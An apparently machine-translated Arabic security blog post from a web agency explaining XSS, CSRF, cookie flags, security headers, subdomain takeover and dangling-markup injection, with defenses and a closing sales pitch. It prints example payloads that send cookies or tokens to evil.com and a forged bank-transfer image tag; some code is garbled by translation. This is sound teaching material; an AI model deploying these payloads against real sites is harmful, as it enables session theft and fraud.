MAISON CODE .
/ Security · OWASP · XSS · CSRF · Engineering

CSRF و XSS: توأمان تدمير الويب

الثغرات الأمنية الأكثر شيوعًا في تطبيقات الويب. دليل فني لملفات تعريف الارتباط SameSite ورؤوس HttpOnly وتعقيم الإدخال.

AB
Alex B.
CSRF و XSS: توأمان تدمير الويب

“نحن نبيع القمصان فقط. لماذا يقوم أي شخص باختراقنا؟” هذه هي العقلية الساذجة للمهندس الصغير. لا يقوم المهاجمون باختراقك لأنك “مهم”. إنهم يخترقونك لأنك ضعيف. يقومون بتشغيل روبوتات آلية تقوم بفحص ملايين النطاقات بحثًا عن عمليات استغلال شائعة. إذا كان متجر القمصان الخاص بك يعاني من ثغرة XSS، فسيقومون بتثبيت مقشدة بطاقة الائتمان (Magecart) وسرقة 10000 رقم بطاقة ائتمان. سوف تفلس.

في Maison Code Paris، نقوم بتصميم أنظمة المعاملات. الأمن ليس “ميزة”. إنه الطابق السفلي. يغطي هذا الدليل الثغرات الأمنية الأكثر فتكًا: XSS و CSRF.

لماذا تتحدث Maison Code عن هذا

في Maison Code Paris، نعمل كضمير معمari لعملائنا. غالبًا ما نرث حزمًا “حديثة” تم بناؤها دون فهم أساسي للحجم.

نناقش هذا الموضوع لأنه يمثل نقطة تحول حاسمة في النضج الهندسي. التنفيذ الصحيح يميز MVP الهش عن منصة مؤسسية مرنة يمكنها التعامل مع حركة مرور الجمعة السوداء.

1. XSS (البرمجة النصية عبر المواقع): سرقة البيانات

يحدث XSS عندما يتمكن أحد المهاجمين من تشغيل JavaScript في متصفح المستخدم الخاص بك. إذا كان بإمكانهم تشغيل JS، فيمكنهم قراءة “document.cookie”. إذا كان بإمكانهم قراءة ملفات تعريف الارتباط، فإنهم يمتلكون الحساب.

ناقل الهجوم

النوع: ** XSS المخزنة **.

  1. ينشر المهاجم مراجعة للمنتج: "قميص رائع! <script>fetch('http://evil.com?c='+document.cookie)</script>"
  2. تقوم قاعدة البيانات بتخزين هذه السلسلة.
  3. الواجهة الأمامية تعرض ذلك.
  4. كل عميل يشاهد صفحة المنتج ينفذ البرنامج النصي بشكل أعمى.
  5. يتم إرسال 1000 معرف جلسة إلى موقع “evil.com”.

الدفاع: ترميز المخرجات المدرك للسياق

القاعدة: لا تثق أبدًا بقاعدة البيانات. الأطر الحديثة (React/Vue) تحميك بشكل افتراضي. إنهم “يهربون” من المتغيرات. < يصبح &lt;. يعرض المتصفح النص، وليس التعليمات البرمجية.

منطقة الخطر: dangerouslySetInnerHTML. يسمح لك React بتجاوز الحماية. حالات الاستخدام: محتوى CMS، ومحررات النصوص الغنية. الحل: DOMPurify. يجب عليك تنظيف HTML قبل عرضه.

استيراد DOMPurify من 'dompurify'؛

وظيفة وصف المنتج({ html }) {
  const clean = DOMPurify.sanitize(html);
  return <divangerlySetInnerHTML={{ __html: clean }} />;
}

يقوم DOMPurify بإزالة الروابط <script> و<iframe> وonload وjavascript:. ويترك <b> و<p>.

الدفاع: CSP (سياسة أمان المحتوى)

(راجع دليل CSP). حتى إذا قام المهاجم بإدخال برنامج نصي، فإن CSP يمنع المتصفح من تنفيذه ما لم يكن لديه Nonce صالح. الدفاع في العمق.

2. CSRF (تزوير الطلبات عبر المواقع): سرقة العمل

يحدث CSRF عندما يخدع أحد المهاجمين المستخدم لتنفيذ إجراء لم يكن يقصده.

ناقل الهجوم

  1. يقوم المستخدم بتسجيل الدخول إلى “bank.com”. تم تعيين ملف تعريف الارتباط للجلسة.
  2. زيارات المستخدم لموقع “evil.com”.
  3. يحتوي موقع evil.com على صورة غير مرئية: <img src="https://bank.com/transfer?to=hacker&amount=1000" />
  4. يرى المتصفح أن عنوان URL يشير إلى “bank.com”. يقوم بإرفاق ملف تعريف الارتباط الصالح للجلسة تلقائيًا.
  5. يتلقى “bank.com” طلبًا صالحًا (مع ملف تعريف الارتباط) ويقوم بتحويل الأموال.

الدفاع: ملفات تعريف الارتباط SameSite

يؤدي هذا إلى تحديث سياسة ملفات تعريف الارتباط الخاصة بالمتصفح. ملف تعريف الارتباط المحدد: session_id=xyz; SameSite=Lax; يؤمن؛ هتب فقط؛

  • صارم: يتم إرسال ملف تعريف الارتباط فقط لطلبات الطرف الأول. (أفضل أمان).
  • Lax: لا يتم إرسال ملف تعريف الارتباط على الطلبات الفرعية (الصور/إطارات iframe)، ولكن يتم إرساله عند التنقل على المستوى الأعلى. (التوازن الجيد).
  • لا شيء: يتم إرسال ملف تعريف الارتباط إلى كل مكان. (غير آمن).

من خلال ضبط SameSite=Lax، لن تحمل علامة <img> من evil.com ملف تعريف الارتباط. فشل الطلب (401 غير مصرح به).

الدفاع: رموز مكافحة CSRF

بالنسبة للطفرات (POST/PUT)، فإننا نطلب إجراء فحص ثانوي.

  1. يرسل الخادم “csrf_token” في علامة تعريفية.
  2. يقرأها جافا سكريبت ويرسلها في رأس X-CSRF-Token.
  3. التحقق من صحة الخادم: هل يتطابق الرأس مع الجلسة؟

لا يستطيع المهاجم قراءة العلامة الوصفية (سياسة Cross-Origin). لا يمكن للمهاجم محاكاة ساخرة للرأس.

3. التخزين: LocalStorage مقابل ملفات تعريف الارتباط HttpOnly

أين تقوم بتخزين JWT (Json Web Token)؟

التخزين المحلي:

  • سهل الاستخدام (localStorage.getItem('token')).
  • ** عرضة لـ XSS **. إذا قام المهاجم بتشغيل JS، فيمكنه قراءة كل LocalStorage.

** ملف تعريف الارتباط HttpOnly **:

  • أصعب في الاستخدام (يجب على الخادم ضبطه).
  • ** محصن ضد سرقة XSS **. جافا سكريبت لا يمكنه قراءة ملفات تعريف الارتباط HttpOnly. document.cookie يُرجع سلسلة فارغة.

توصية: استخدم دائمًا ملفات تعريف الارتباط HttpOnly لمعرفات الجلسة الحساسة. حتى إذا كانت لديك ثغرة أمنية في XSS، فلن يتمكن المهاجم من استخراج المفتاح. يمكنهم فقط تقديم الطلبات (التي تتوقف عنها حماية CSRF).

4. وجهة نظر المتشكك

“React آمن افتراضيًا.” خطأ شنيع. React يحمي طبقة العرض. لا يحمي:

  1. جافا سكريبت: عناوين URL (<a href={userLink}>). إذا كان userLink هو javascript:alert(1)، فإن النقر عليه يؤدي إلى تشغيل التعليمات البرمجية.
  2. حقن العرض من جانب الخادم (SSR).
  3. هجمات سلسلة التوريد (حزم npm الضارة).

“لا أحتاج إلى حماية CSRF لأنني أستخدم JWTs في الرؤوس.” حقيقي. إذا كنت لا تستخدم ملفات تعريف الارتباط، فأنت محصن ضد CSRF. لكنك الآن تقوم بتخزين JWTs في LocalStorage، لذا فأنت عرضة لـ XSS. اختر السم الذي يناسبك. (نختار ملفات تعريف الارتباط + حماية CSRF).

5. رؤوس الأمان (الخوذة)

لا ترسل استجابات HTTP عارية. استخدم “الخوذة” (Node.js) أو تكوين “الرؤوس” (Next.js) لتعيين:

  • خيارات نوع محتوى X: nosniff (يمنع استنشاق MIME).
  • خيارات الإطار X: DENY (يمنع اختطاف النقرات).
  • سياسة المُحيل: الأصل الصارم عند الأصل المتقاطع.
  • “أمان النقل الصارم” (HSTS): فرض HTTPS.

7. حقن GraphQL (حقن SQL الجديد)

يعتقد المطورون أن GraphQL آمن لأنه مكتوب. خطأ. إذا كنت تستخدم GraphQL بدون تحديد عمق الاستعلام، فيمكن للمهاجم DDOS بطلب واحد. الاستعلام { المستخدم { الأصدقاء { المستخدم { الأصدقاء { المستخدم { الأصدقاء ... } } } } } هذا الاستعلام المتداخل يفجر قاعدة البيانات الخاصة بك. الدفاع: استخدم graphql-deep-limit. تقييد العمق إلى 5. احذر أيضًا من الهجمات المجمعة. إذا سمحت بالاستعلامات المجمعة، فيمكن للمهاجم فرض 10000 كلمة مرور في طلب HTTP واحد. الدفاع: تعطيل التجميع على نقاط النهاية العامة.

8.JWT: كذبة “عديمي الجنسية”.

يستخدم الجميع JWTs لأن “الجلسات لا يتم قياسها”. هذه كذبة. يتوسع Redis إلى ملايين العمليات في الثانية. مشكلة JWT هي الإبطال. إذا سرق أحد المهاجمين JWT، فسيكون هو المسؤول لمدة ساعة واحدة. لا يمكنك تسجيل الخروج منهم. يجب عليك تدوير مفتاح التوقيع، الذي يقوم بتسجيل الخروج الجميع. ** النهج المختلط **: قم بتخزين JWT في “القائمة المسموح بها” لـ Redis. تحقق من Redis عند كل طلب. الآن لديك “JWT للدولة”. إنه يهزم الهدف، لكنه آمن. أو فقط استخدم ملفات تعريف الارتباط الخاصة بالجلسة. لقد عملوا في Google لمدة 20 عامًا.

9. مخاطر الاستيلاء على النطاق الفرعي

هل يحتوي موقعك على “blog.maisoncode.paris” الذي يشير إلى مضيف WordPress الذي قمت بإلغائه منذ 3 سنوات؟ إذا كان سجل CNAME هذا لا يزال موجودًا، فيمكن للمهاجم تسجيل مدونة على هذا المضيف والمطالبة بنطاقك الفرعي. وبما أنهم موجودون على *.maisoncode.paris، فيمكنهم قراءة ملفات تعريف الارتباط الخاصة بك (إذا كان domain=.maisoncode.paris). الدفاع: قم بمراجعة سجلات DNS الخاصة بك. احذف أي CNAME يشير إلى خدمة لم تعد تدفع مقابلها.

10. حقن العلامات المتدلية

إذا كان بإمكان المهاجم إدخال علامة صورة دون إغلاقها: <img src='https://evil.com/log? يأكلون بقية HTML الخاص بك حتى الاقتباس التالي. <img src='https://evil.com/log? <form><input value="SECRET_TOKEN"> ... يرسل المتصفح الرمز السري الخاص بك إلى موقع “evil.com” كجزء من استعلام عنوان URL. الدفاع: تمنع قيود CSP img-src المتصفح من استخراج البيانات إلى نطاقات غير مصرح بها. لكن “سياسة أمان المحتوى” تعمل بشكل أفضل عندما تكون صارمة.

12. دفاعات Clickjacking في العمق

“خيارات الإطار X: DENY” هي الطريقة القديمة. “سياسة أمان المحتوى: أسلاف الإطار “لا شيء"" هي الطريقة الجديدة. لماذا استخدام CSP؟ لأنه يدعم السماح بشركاء محددين. “أسلاف الإطار https://partner.com”. إذا لم تقم بتعيين هذا، فيمكنني تضمين الدفع الخاص بك في إطار iframe مثالي للبكسل على free-iphone.com. يعتقد المستخدم أنهم يقومون بالخروج. ألتقط نقراتهم بالماوس (باستخدام تراكبات شفافة) لإعادة توجيه زر “الشراء” إلى المنتج الخاص بي. إنه غدرا. حظره على مستوى العالم.

12. SameSite: Lax vs Strict (الغوص العميق)

“Lax” هو الإعداد الافتراضي في Chrome. فهو يسمح بملفات تعريف الارتباط في التنقل على المستوى الأعلى (بالنقر فوق رابط من Google إلى موقعك). “صارم” يحظر ملفات تعريف الارتباط في التنقل على المستوى العلوي. إذا قمت بتعيين SameSite=Strict، وقام المستخدم بالنقر فوق رابط في رسالة بريد إلكتروني “عرض الطلب”، فسوف يصل إلى تسجيل الخروج. هذا تجربة مستخدم سيئة. الاستراتيجية:

  • ملف تعريف الارتباط للجلسة: مسموح به (لاكس).
  • رمز الإجراء الحساس (حذف الحساب): مطلوب (صارم). يمكن أن يكون لديك اثنين من الرموز المميزة. واحدة للقراءة، وواحدة للكتابة.

13. لماذا ميزون كود؟

في Maison Code، نقوم بالتدقيق على أفضل 10 OWASP بشكل افتراضي. نحن لا نفترض أن React آمن. نحن نقوم بتدقيق ملفك dangerouslySetInnerHTML. نقوم بتكوين ملفات تعريف الارتباط الخاصة بك “SameSite”. لقد قمنا بإعداد CSP الخاص بك. نحن نؤمن بأن التجربة الفاخرة تتضمن رفاهية السلامة. لا ينبغي أن يقلق عملاؤك بشأن سرقة بطاقة الائتمان.

14. الاستنتاج

الأمن غير مرئي في الغالب. الميزات تحصل على ترقية. الأمن يمنعك من الطرد. إنه عمل ناكر للجميل، حتى اليوم الذي ينقذ فيه الشركة. افتخر بالدرع غير المرئي الذي تبنيه.


هل يتسرب تطبيقك؟

نقوم بإجراء اختبار الاختراق وتدقيق التعليمات البرمجية للتطبيقات عالية المخاطر.

[تأمين المكدس الخاص بي](/جهة اتصال). قم بتوظيف مهندسينا.